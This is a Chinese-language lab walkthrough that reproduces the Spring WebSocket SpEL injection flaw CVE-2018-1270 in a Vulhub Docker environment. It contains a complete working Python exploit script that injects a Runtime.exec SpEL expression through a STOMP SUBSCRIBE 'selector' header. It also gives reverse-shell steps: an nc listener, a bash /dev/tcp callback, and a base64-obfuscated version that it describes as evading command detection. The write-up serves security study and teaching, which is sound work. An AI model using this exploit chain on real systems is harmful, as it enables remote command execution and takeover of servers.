Spring远程命令执行漏洞复现:原理分析+环境搭建+渗透实践(CVE-2018-1270)
目录
一、Spring远程命令执行漏洞(CVE-2018-1270)
1、漏洞简介
2、漏洞原理
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、渗透实战
1、访问环境
2、执行PoC攻击(需修改IP和端口)
3、执行PoC脚本(修改命令)
4、分析攻击脚本
四、反弹shell
1、攻击机监听
2、目标机建立连接
① 原始命令
② base64编码
③ 攻击目标机
3、反弹shell成功
本文通过vulhub靶场的Spring远程命令执行漏洞讲解漏洞原理(CVE-2018-1270)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。
一、Spring远程命令执行漏洞(CVE-2018-1270)
1、漏洞简介
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
项 | 内容 |
---|---|
漏洞编号 | CVE-2018-1270 |
漏洞类型 | SpEL表达式注入导致RCE |
触发条件 | 1. 应用使用Spring WebSocket + STOMP 2. 未升级到安全版本 |
利用方式 | 构造恶意的STOMP SUBSCRIBE 帧,在destination 头中注入SpEL表达式 |
核心问题 | 使用功能强大的 StandardEvaluationContext 解析用户可控的输入 |
修复方案 | 升级Spring框架版本 |
修复方法 | 使用功能受限的 SimpleEvaluationContext 替代 StandardEvaluationContext |
2、漏洞原理
Spring框架在处理WebSocket消息订阅时,错误地将用户可控的“目的地”参数直接交给了一个功能强大且未加任何安全限制的表达式解析器(SpEL)去执行,导致攻击者可以通过注入恶意表达式(如 ${T(java.lang.Runtime).getRuntime().exec('calc')}
)来在服务器上远程执行任意命令。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd spring
cd CVE-2018-1270
4、启动漏洞环境
在CVE-2018-1270目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含spring-messaging:5.0.4(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的Spring漏洞镜像容器已正常运行 ,通过宿主机器的8080 端口可访问容器内的Spring框架,可用于测试CVE-2018-1270漏洞的利用。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ebab59f44068 vulhub/spring-messaging:5.0.4 "java -jar /websocke…" 5 minutes ago Up 5 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2018-1270_spring_1
- CONTAINER ID:
ebab59f44068
这是该 Docker 容器的唯一哈希标识符的缩写,用于在命令行中精确指定和操作这个特定的容器实例(例如停止它、查看日志或进入其中)。 - IMAGE:
vulhub/spring-messaging:5.0.4
这表示当前运行的容器是从名为vulhub/spring-messaging
且标签为5.0.4
的 Docker 镜像创建的,该镜像特意打包了存在漏洞的 Spring Framework 5.0.4 版本用于安全测试。 - COMMAND:
"java -jar /websocke…"
这显示了容器启动时执行的初始命令,是一个被截断的指令,其完整内容通常是java -jar /websocket-app.jar
,意为在容器内部使用 Java 运行时运行一个构建好的 Jar 包应用程序。 - CREATED:
5 minutes ago
这表示该容器是在 5 分钟之前从镜像创建并启动的,提供了容器当前的运行时长状态。 - STATUS:
Up 5 minutes
这表示该容器的状态为“正在运行”,并且已经持续运行了 5 分钟,确认了服务从启动后一直处于活动状态。 - PORTS:
0.0.0.0:8080->8080/tcp, :::8080->8080/tcp
这显示了容器的网络端口映射配置,表示将容器内部的 TCP 8080 端口映射到了宿主机的所有 IPv4 和 IPv6 地址的 8080 端口上,从而允许外部通过宿主机的 8080 端口访问容器内应用。 - NAMES:
cve-2018-1270_spring_1
这是分配给此容器的唯一名称,由 Docker Compose 自动生成,通常基于项目目录名(cve-2018-1270
)和服务名(spring
),用于更方便地识别和管理容器。
三、渗透实战
1、访问环境
Docker启动完成后,访问http://192.168.59.128:8080/如下所示可知环境启动正常。
http://192.168.59.128:8080/
2、执行PoC攻击(需修改IP和端口)
当前目录下有PoC脚本, 利用 CVE-2018-1270 (Spring WebSocket 远程代码执行漏洞) 的 Python 攻击脚本。它的核心功能是模拟一个 WebSocket 客户端,通过与存在漏洞的 Spring 应用建立连接,然后发送一个经过特殊构造的恶意消息,最终在目标服务器上执行系统命令 touch /tmp/success
(创建一个名为 success的文件作为攻击成功的证明)。
修改IP地址、端口号为环境的IP和端口号,以我的机器为例将ip改为192.168.59.128,端口号改为8080,修改后保存。
sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')
执行python exploit开启攻击,如下所示攻击成功。
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了success文件,命令执行成功!
3、执行PoC脚本(修改命令)
本部分修改脚本中执行的命令,默认的情况下执行的命令是在目标服务器上执行系统命令 touch /tmp/success
(创建一个名为 success的文件作为攻击成功的证明)。可以通过修改命令实现不同的攻击,如果想改为创建/tmp/mooyuan文件,需要修改exec中的命令内容,修改如下:
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",
执行python exploit开启攻击,攻击后查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan文件,命令执行成功!
4、分析攻击脚本
接下来以修改后的Python脚本为例,进行分析,这是一个针对CVE-2018-1270漏洞的自动化攻击工具,它通过模拟WebSocket客户端与目标Spring应用建立SockJS连接,然后发送一个包含恶意SpEL表达式(T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')
)的特殊构造订阅请求,最终实现在远程服务器上执行系统命令并创建文件/tmp/mooyuan作为攻击成功的证据。
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time()*1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)
此脚本通过建立 WebSocket 连接并向存在漏洞的 Spring 服务器注入恶意的 SpEL 表达式,从而实现在目标系统上远程执行命令 (touch /tmp/mooyuan
)
-
初始化与连接建立 (
SockJS
类):-
它使用
SockJS
协议(一种 WebSocket 模拟协议)与位于http://192.168.59.128:8080/gs-guide-websocket
的漏洞端点建立连接。 -
通过创建一个长连接 (
htmlfile
流) 来保持会话,这是 SockJS 的一种通信方式。
-
-
发送恶意订阅帧 (
sockjs.send('subscribe', ...)
):-
这是漏洞利用的最关键步骤。脚本发送了一个
SUBSCRIBE
帧。 -
该帧的
selector
头被精心构造为恶意 SpEL 表达式:T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')
。 -
在受影响版本中,Spring 服务器会错误地解析并执行此表达式,导致以服务器权限执行
touch
命令,从而在/tmp/
目录下创建文件。
-
-
发送触发消息 (
sockjs.send('send', ...)
):-
发送一个
SEND
帧到/app/hello
目的地,内容是一个普通的 JSON 数据{'name': 'vulhub'}
。 -
这个消息可能用于触发服务器处理之前那个恶意订阅的逻辑,或者只是为了模拟正常流量。在某些漏洞环境中,这一步是必要的,它会让服务器去处理订阅中的
selector
,从而触发命令执行。
-
四、反弹shell
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc
: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l
: 监听(Listen) 模式,等待别人来连接。 -
-v
: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666
: 在 6666 端口(Port) 上进行监听。
2、目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i
: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666
:-
>/dev/tcp/192.168.59.128/6666
: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128
的机器的6666
端口。 -
>&
: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1
: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128
的机器的 6666
端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666
。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128
这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② base64编码
对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=
于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
-
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=
:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。-
base64 -d
:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
。 -
bash
:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。
-
-
bash -c "..."
: 启动一个子Shell,专门用来执行引号"..."
内的所有内容。 -
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}
-
作用:
echo
输出后面那串乱码(YmFzaCA...
)。 -
这串乱码: 其实是
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。
-
-
|{base64,-d}
-
作用: 拿到上一步的乱码,用
base64 -d
命令把它解码还原成真正的Bash命令。
-
-
|{bash,-i}
-
作用: 将解码后得到的原始反弹Shell命令,交给
bash -i
(一个交互式Shell)去执行。
-
③ 攻击目标机
将exploit中的exec内容修改如下所示,然后执行python exploit.py。
exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')
修改后如下所示,请特别注意不要打错,否则会攻击失败。
修改后保存exploit.py文件,执行攻击如下所示。
3、反弹shell成功
此时查看kali攻击机监听,已经连接成功,输入命令ip addr,返回正确结果,说明渗透成功。